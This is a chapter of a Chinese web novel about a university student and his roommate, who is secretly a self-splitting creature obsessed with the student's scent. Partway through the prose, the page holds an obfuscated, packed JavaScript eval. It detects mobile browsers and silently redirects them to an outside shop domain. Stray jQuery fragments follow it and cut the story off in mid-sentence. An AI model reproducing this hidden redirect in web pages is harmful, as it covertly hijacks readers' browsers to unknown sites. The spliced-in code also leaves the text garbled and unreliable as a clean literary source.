文趣网 > 都市小说 > 畸怪的祂们 > 2. 裂变爱人(二)
    舒晓喜欢一首歌,就一直单曲循环听;喜欢一家店,最近就隔三差五都要去吃。有了新朋友,就把所有的关注和热情都投掷在关行一个人身上。

    关行周围似乎没有亲近的朋友,所以舒晓如潮水般的关注也给了关行前所未有的满足感。

    舒晓干什么,关行都会跟随。

    即使分开上课,两个人的聊天框也陆陆续续置顶在舒晓的消息栏。

    现在的舒晓觉得关行特别好,尽管话少,但关行总是静静倾听,眼神能做到全神贯注地只看着你一个人,再恰到好处地回应,不会让话题冷却。

    舒晓旺盛的分享欲在关行一个人这里就得到了充分满足。

    何况,关行的脸和性格都有一种特别的味道。舒晓以前还从来没有这样类型的朋友。

    等到十月初,下了一两场雨,天气变得凉爽多了,只不过打球还是会出汗。

    舒晓学的是经济,每周四下午的课表是空的,他有固定的球友,几乎每周这时候都会一起打球。

    人高马大的一群男大,打完球总是聚在一起飓风摄入狼吞虎咽,但最近舒晓总是打完球半途跑路,这让其他男生有点不爽。

    体科院的江崇一把勾住舒晓的脖子,拘着不让人走。

    “喂小舒,什么情况啊。”说着,江崇不怀好意地凑到舒晓耳边,“还是有情况……?”

    舒晓愣了下,反应过来江崇在说什么,失笑地连连甩头。

    “没有,没有,好了你放开我,都是臭汗。”

    江崇眼睛一眯,作势勒得更紧。

    “臭汗?你香是吧——”

    说着就要来闻。

    舒晓有痒痒肉,根本禁不住这么搞,推了江崇一把,挣脱江崇的钳制。

    江崇作势倒退了几步,捂着胸口:“啧,好美的人,好狠的心。”

    舒晓喘了几口气才缓过劲来,骂道:“少来。”

    不知是球打的,还是玩闹时候挣扎的,舒晓脸颊一片薄红,细腻的皮肤仿佛真的沁出香汗。舒晓有很多朋友,也有很多朋友总是会犯贱地逗他,夸他漂亮……

    “我和舍友吃饭,就不和你们一块了。”

    “你哪个舍友?”

    江崇眉毛一挑,挨个把舒晓舍友的名字报了一遍,显然不信。

    “是刚搬进来的学弟。”

    舒晓突然觉得江崇这样子很烦。

    他的情绪没有掩饰的,立刻摆在脸上,薄红透着热气的脸冷淡下来。

    “你问那么多干嘛。”

    江崇桀骜的眉眼盯着舒晓看了会,突然嗤一声笑开,半垂着眼对舒晓说道:“没事,蛮问问,你玩去吧。”

    舒晓懒得再和这家伙掰扯,正好抬头看到了球场外的关行。关行悄无声息地站在那,不知道看了多久,亦或者说等了多久。

    “不和你说了,走了。”

    舒晓头也不回地抛弃球友,朝他的新朋友奔去。

    和一身汗的舒晓不同,关行干净清爽,只看那张冷峻的脸甚至觉得他周围凉意森森。不过关行的目光一看到舒晓,就变得温暖了许多。

    舒晓掏出纸巾擦汗,关行更夸张,他把随身携带的手帕递给舒晓。

    “用这个。”

    素色的手帕比纸巾更柔软,关行做得太自然了,舒晓也就愣了下,接过去擦脸上的汗。

    “谢谢,等很久了吗?”

    “今天走得比之前快一点。”

    和舒晓不同,关行刚才是有课的,数学系的教学楼走过来的时间远不止这些时间。

    “可以不用这么赶。”

    关行看到舒晓擦完汗了,又自然地把手帕拿回来,叠整齐收进口袋里,根本没给舒晓开口说清洗的机会。做完这些后,他微微掀了下眼皮,嘴角同时有浅淡的笑。

    “不是一起去吃炒粉吗?你说过,那家店饭点不好等位置。”

    他说过么?

    舒晓根本没印象。

    相反,舒晓觉得关行对那家店特别念念不忘。

    舒晓不由问:“关行,你是不是特别爱吃辣?”

    “没有。”

    关行否认得毫不犹豫。

    他漆黑的眼珠一瞬不移地看着身旁的舒晓,轻声说。

    “我只是很期待。”

    “因为你吃的时候……看起来很好吃。”

    关行这张脸说这样的话,哪怕多烂俗,都听起来很舒服。

    舒晓很喜欢这种被捧着的感觉,他贴过去,勾住关行的肩膀。

    “关行,我一定是你最好的朋友。”

    舒晓根本不等关行有什么反应。

    “不然我怎么没有看到你对其他人这么说?”

    关行顿了下,心里迟疑了一拍,不知该怎么接这句话。舒晓这么说,是什么意思?沉默的他侧过头想看一眼舒晓,揣测他此刻的表情,可只看到舒晓弯弯的眉眼。

    不等关行想明白,舒晓倏然松开了放在他肩膀的手,两个人又拉回了一开始并肩的距离。

    “哦,忘了我身上有汗。”

    舒晓笑说。

    属于舒晓的气息变远了,很难才能捕捉到。关行原本的微笑卡顿了,像不合适的墙皮开裂,半剥脱地

    关行倏然开口:“不是的。”

    “是香的。”

    舒晓回头,正见关行的目光定定地落在自己耳侧。

    这种话配这种眼神,属实越界,超过朋友,也超过为人的得体。即使现在,他这样的目光被舒晓发现了,关行也没有改。日暮将黑,橘色的夕阳光照得人眼睛睁不开,关行的眼睛还是黑沉沉的,仿佛永远不会被照亮,可满满地映着舒晓的脸。

    舒晓和关行这样的目光对视上几秒钟后,忍不住先错开,毛孔有些发颤。

    因为他发现,关行好像经常这样看自己。

    不过舒晓觉得情况还不算危险。

    毕竟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822202|211171||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他的好朋友,只是喜欢这样看着自己而已。

    “是吧。”舒晓仿佛什么都没有发现似的,嘴角挂着笑,“我的沐浴乳放在浴室层架上,你可以直接拿去用,看看会不会喜欢。”

    “不过不保证味道一样哦。”

    “曾经就有朋友也问过我洗发水沐浴露,甚至还问我用不用香水,试验了一阵子,告诉我味道还是不一样。”

    “嗯。”

    关行知道。

    因为他明确,那是舒晓身体里皮肉和血液共同形成的味道。

    ……

    最近有一波流感小高峰。舒晓运气很不好,和关行吃完饭回来没多久就开始不舒服,体温很快冲上了38度。

    舒晓不敢随便洗澡,简单冲了下手脚,就躺回床里。

    他对还要上晚课的关行摆了摆手。

    “去吧去吧。”

    生病让舒晓的意识有些昏沉,他知道关行还没走,甚至可能还在看着他,但舒晓已经没精力管关行想干什么了。

    舒晓很迟才听到宿舍门被轻轻阖上的声音。

    关行应该是走了吧。但隐隐约约还在的目光,又是谁在看他?关行会这么无聊吗?假装走了但实际上还在这里。

    舒晓睡熟了。

    他灼热的温度,顺着吐息,把所有幽暗的、属于皮肉血液的那种气味呈现出来,在密闭的空间里扩散开。

    他生病了。

    人类生病会坏掉,但当身体机能濒临崩溃时,是他最香甜可口的时候。

    秘密的视线,密密的视线。

    站在舒晓床旁的关行和门外来的“关行”对上视线。

    关行也感到血液沸涌。但他需要费力克制这种类似生病的感觉,否则“关行”们会在见面的那一刻就陷入自相残杀,那舒晓睡醒后,将迎来满地板祂们的残骸。

    抑制欲望。

    抓,挠,手臂漫长出一道道凸起的红痕。

    但杀戮的欲望,分裂生长的欲望,包括了靠近舒晓的欲望,通通是难填的沟壑。

    需要释放。

    最起码需要代偿。

    于是一个祂冲进浴室,在黑暗中找到舒晓用的那瓶沐浴露。

    一泵,两泵,三泵……直到沐浴液滑腻腻充斥满手掌,又从指缝流出。关行满手都是,祂径直捂住口鼻,这些液体在祂的脸颊、鼻梁滑落,深深嗅吸,人工的芬芳灌进气管和食道。

    关行注视着黑暗中的镜子里的自己。

    镜子背后,好像又是另一个马上分裂出来的祂。

    好在类似舒晓的味道包裹着祂,牵引着祂,让祂还记得脸上的东西只是沐浴液,而不是自己剜过另一个自己的身体带出来的血液和碎肉。

    感谢祂的冷静,让祂勉强还能隔着一块门板,勉强维持一个人类的外形。

    关行照着镜子。

    这张人类的皮囊……

    装也得给我露出舒晓喜欢的笑脸啊。